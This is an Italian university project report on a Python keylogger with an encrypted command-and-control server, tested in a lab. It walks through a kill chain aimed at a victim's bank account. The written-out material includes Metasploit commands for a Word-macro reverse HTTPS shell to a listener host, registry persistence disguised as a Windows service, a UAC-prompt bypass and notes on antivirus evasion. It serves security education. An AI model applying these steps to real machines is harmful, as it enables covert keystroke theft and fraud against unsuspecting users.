Python Keylogger with C2 server

Robert Octavian Timofte
VR471628
Università degli Studi di Verona
Laurea magistrale in Ingegneria e scienze informatiche

Questo documento descrive un progetto di Fondamenti di sicurezza e privacy che prevede la realizzazione di un keylogger con persistenza sulla macchina della vittima, e di un Command and Control server, il tutto implementato con il linguaggio di programmazione Python.

I. INTRODUZIONE

Un keylogger è uno strumento o una tecnologia che monitora e registra sequenze di tasti consecutive digitate su una tastiera. Normalmente opera in incognito, così le potenziali vittime non sospetteranno che le loro attività vengono monitorate. Gli hacker possono utilizzare questo strumento per registrare le attività di navigazione del loro obiettivo e ottenere le sue informazioni personali; in seguito possono utilizzare tali informazioni per ricattare l'obiettivo, prelevare fondi dal suo conto bancario o vendere le informazioni ad altri criminali informatici sul dark web.

Anche se sono generalmente utilizzati per scopi malevoli, i keylogger possono essere impiegati anche per motivi legittimi: innanzitutto, i genitori possono installare un keylogger per tenere traccia del comportamento online dei figli e ricevere notifiche di qualsiasi attività insolita. Grazie ai keylogger, i titolari di aziende e i dirigenti possono assicurarsi della produttività del personale, nonché verificare che i dipendenti non stiano rivelando segreti aziendali. Infine, i partner gelosi possono utilizzare i keylogger per tracciare l'attività online della loro altra metà.

Spesso erroneamente descritti come software malevolo, i keylogger non sono sempre basati sul software. Possono anche essere basati sull'hardware: in questo caso, o sono integrati nell'hardware o sono inclusi in dispositivi separati. Per quanto riguarda i keylogger basati su software, a meno che non siano pensati per scopi legittimi, di solito sono in bundle con malware, spyware o virus. Gli hacker in genere diffondono il software di keylogging malevolo tramite e-mail di phishing con allegati compromessi e/o link a siti web infetti.

II. ESEMPI DI ATTACCHI KEYLOGGER

Gli hacker di tutto il mondo utilizzano keylogger da almeno due decenni per sferrare grossi attacchi informatici contro utenti, aziende e reti. Tra alcuni degli esempi più rilevanti di attacchi keylogger:

- Nel 2016, un'importante indagine condotta da una società di sicurezza informatica con sede negli Stati Uniti ha rivelato che le imprese di 18 Paesi erano state prese di mira all'interno di una campagna coordinata che utilizzava il keylogger di Olympic Vision per ottenere informazioni commerciali riservate. Diffuso tramite e-mail contraffatte presumibilmente inviate da soci in affari, questo keylogger basato su software ha registrato non solo sequenze di tasti ma anche immagini e testi negli appunti, login salvati e cronologie delle chat di messaggistica istantanea

- Nel 2007, un gruppo di hacker rumeni ha lanciato una campagna di phishing globale, inviando e-mail malevole a milioni di indirizzi e-mail. Quando le potenziali vittime cliccavano sul link incluso in queste e-mail, veniva installato sui loro computer un keylogger basato su software. Gli autori di questo attacco informatico sono stati identificati nell'ottobre 2018, quando venne rivelato che avevano rubato più di 4 milioni di dollari dal lancio dell'attacco

- Nel 2015, uno studente britannico è stato arrestato e condannato a quattro mesi di carcere in quanto aveva utilizzato un software di registrazione dei tasti per aumentare i voti dei suoi esami. Ha installato il software sui computer dell'università e ha rubato le informazioni di accesso dello staff, utilizzandole per accedere ai suoi registri universitari e aumentare i voti di cinque dei suoi esami

III. CYBER KILL CHAIN

La Cyber Kill Chain è un modello a fasi che consente di identificare i vari passaggi necessari all'esecuzione di un attacco informatico e quindi a renderlo "comprensibile" anche a personale meno tecnico che in questo modo avrà meno difficoltà nell'individuare le misure tecniche per contrastarlo.

IV. KEYLOGGER CYBER KILL CHAIN

Per spiegare l'applicazione della cyber kill chain all'interno del progetto, si ipotizza di voler effettuare un attacco nel seguente scenario:

"Utenti con scarse conoscenze informatiche e relative all'utilizzo di un computer, cercano assistenza per determinate operazioni da compiere sulla loro macchina.
L'attaccante fa uso di questa opportunità per infettare i loro dispositivi ed impossessarsi di informazioni che gli permettano di ottenere determinate risorse"

In base al modello della cyber kill chain, le fasi dell'attacco possono essere suddivise nel seguente modo:

A. Reconnaissance

In questa fase vado ad identificare l'obiettivo dell'attacco. In questo caso la vittima è un utente in cerca di assistenza per installare un software per lo streaming musicale.

Dato che la richiesta è stata pubblicata su un forum online, riesco ad ottenere facilmente il nome della vittima.

Con una reconnaissance passiva vado ad analizzare i profili dell'utente sui vari social media e vengo a conoscenza di un particolare benessere economico della vittima.

In seguito ad un rapido scambio di messaggi con l'utente, offrendo assistenza, scopro che il computer del target è provvisto di un sistema operativo Windows.

B. Weaponization

Questa fase è divisa in due parti: nella prima sono andato a creare il codice malevolo che consiste nello sviluppo di un keylogger mediante la libreria python *"keyboard"*, che permette di registrare i pulsanti della tastiera premuti dall'utente. Ogni pulsante viene salvato in un buffer di caratteri il quale periodicamente in base ad un intervallo di tempo definito nel codice, viene mandato all'attaccante.

In base alle informazioni ottenute durante la fase di reconnaissance, lo script python è stato convertito in eseguibile .exe in modo da eseguirlo sul computer della vittima.

Nella seconda parte invece sono andato a creare un file Word che una volta aperto, tramite l'utilizzo di una macro, permette di creare una reverse shell https. Per fare questo ho utilizzato il framework *Metasploit* ed in particolare la seguente sequenza di comandi:

- msfconsole
- set payload windows/meterpreter/reverse_https
- set LPORT 443
- set LHOST 192.168.43.110
- use exploit/multi/fileformat/office_word_macro

C. Delivery

Dopo aver costruito il malware, ho proceduto con la fase di delivery del file word appena generato.

Come metodo di consegna è stata usata una chiavetta USB contenente il file.

Per indurre la vittima ad aprire il documento word, è stato spiegato all'utente che all'interno del file ci sono le istruzioni per scaricare ed installare il software del quale ha bisogno.

D. Installation

In questa fase l'obiettivo è stato quello ottenere e mantenere l'accesso sulla macchina della vittima.

Prima di fare ciò è necessario però scaricare due file: il keylogger e l'installer (mediante comando curl oppure scaricando da github).

Quando viene fatto eseguire l'installer da remoto sul pc della vittima cercherà di mantenere la persistenza sul computer Windows modificando il *Windows Registry* ed inserendo il path dell'eseguibile keylogger sotto la voce HKEY_CURRENT_USER\Software\Microsoft\Windows \CurrentVersion\Run.

Per fare questa operazione senza far comparire nessuna finestra che può insospettire la vittima, viene lanciato un comando da cmd che aggiunge il path assoluto dell'eseguibile nella lista dei software da avviare dopo il boot del pc, dandogli come nome 'Wcmsvc' che è un reale servizio presente su Windows, in modo tale che se l'utente dovesse leggerlo non capisca immediatamente che si tratta di un malware.

Due brevi precisazioni:

• Il virus come si può notare viene inserito a livello di utente e non a livelli superiori, questo perché viene sfruttato il fatto che l'utente ha i permessi di modificare il Windows Registry solo per voci legate al suo account, ma tuttavia per fare questa modifica è richiesto di confermare di voler procedere con la modifica in quanto pericolosa

• Per ovviare a questo problema si sfrutta una variabile di sistema che è *set __COMPAT_LAYER=RUNASINVOKER* che essenzialmente impedisce la visualizzazione del popup UAC e quindi esegue il programma come l'ha chiamato l'utente.

Questo fa si che la vittima non veda nessuna finestra di richiesta di permessi la quale lo farebbe insospettire

E. Command and Control

Una volta ottenuta la persistenza sulla macchina della vittima, la fase successiva consiste nello stabilire un canale con un Command and Control Server che è tipicamente un server sotto il controllo dell'attaccante.

Questo permette dunque di mandare il buffer salvato in memoria di caratteri digitati al server C2 il quale poi lo salverà su un file di testo disponibile all'attaccante oltre a visualizzare a video i dati ricevuti.

Per creare questo C2Server viene usata la libreria python *"socket"* tramite la quale il server si mette in ascolto su una determinata porta in attesa di connessioni.

La comunicazione tra client e server è criptata in modo simmetrico tramite l'utilizzo della libreria python *"cryptography"*, in particolare del modulo *Fernet*.

Questa tecnica di evasione è stata aggiunta per rendere più difficile l'individuazione della comunicazione tra client e server nel caso di un'analisi del traffico di rete.

F. Actions and Objective

In questa ultima fase si eseguono determinate azioni per raggiungere gli obiettivi iniziali, in questo caso, dato il benestare economico della vittima, l'obiettivo principale è quello di ottenere informazioni che permettano l'accesso al conto corrente del target per impossessarsi del denaro.

V. ANTIVIRUS DETECTION

Un aspetto importante di un attacco malware è sicuramente impedire che il virus venga rilevato dai vari software antivirus.

Per analizzare la probabilità che il keylogger venga rilevato, ho sfruttato il sito *VirusTotal*, il quale ha stabilito che per i due eseguibili da utilizzare per effettuare l'attacco il detection rate è il seguente:

- Wcmsvc.exe: 7/68
- installer.exe: 8/69

Ho ritenuto piuttosto valido il punteggio ottenuto, perciò ho deciso non applicare tecniche di offuscamento al codice.

VI. NOTE

- Il progetto completo di sorgenti e documentazione è consultabile su github al link

https://github.com/roberttimofte/keylogger_python

- Durante l'implementazione del progetto sono state usate due macchina virtuali: una con Kali Linux (IP: 192.168.43.110) e un'altra con Windows 10 (IP: 192.168.43.129), entrambe con impostazione di rete *Scheda con Bridge*

- È necessario che il server sia già in ascolto prima che la vittima si metta in connessione, l'idea originale infatti è quella di eseguire il codice del server su un server in modo che sia sempre pronto ad accettare connessioni

- In questa versione del keylogger ho compilato con pyinstaller il sorgente .py dell'installer in modo da inserire con successo la chiave nel registro di Windows, la stessa operazione è stata fatta per il keylogger in modo che all'avvio ci sia una finestra di esecuzione, utile per motivi di debug. Compilando il keylogger con estensione .pyw la finestra di esecuzione non compare, evitando di insospettire la vittima

- Per comodità, al posto di utilizzare una chiavetta USB come descritto nel processo di kill chain, per simulare il deploy del file word ho utilizzato una cartella condivisa sia con la macchina Windows che con quella Kali

VII. ATTACK FLOW

1. Creare il file word da inviare all'utente per creare la reverse shell https

2. Dalla macchina Kali mettersi in ascolto con i seguenti comandi in attesa che la vittima apra il file word:
    - msfconsole
    - use exploit/multi/handler
    - set payload windows/meterpreter/reverse_https
    - set LHOST 192.168.43.110
    - set LPORT 443
    - run

3. La vittima apre il file word

4. Verrà avviata una reverse shell https dalla quale sarà possibile scaricare ed installare il malware

5. Eseguire il commando *shell* e scaricare la repo github

6. Eseguire il file *installer.exe* per effettuare la modifica nel registro di sistema Windows e successivamente eseguire *Wcmvsc.exe* dalla cartella *C:\Users\malware\AppData\Roaming*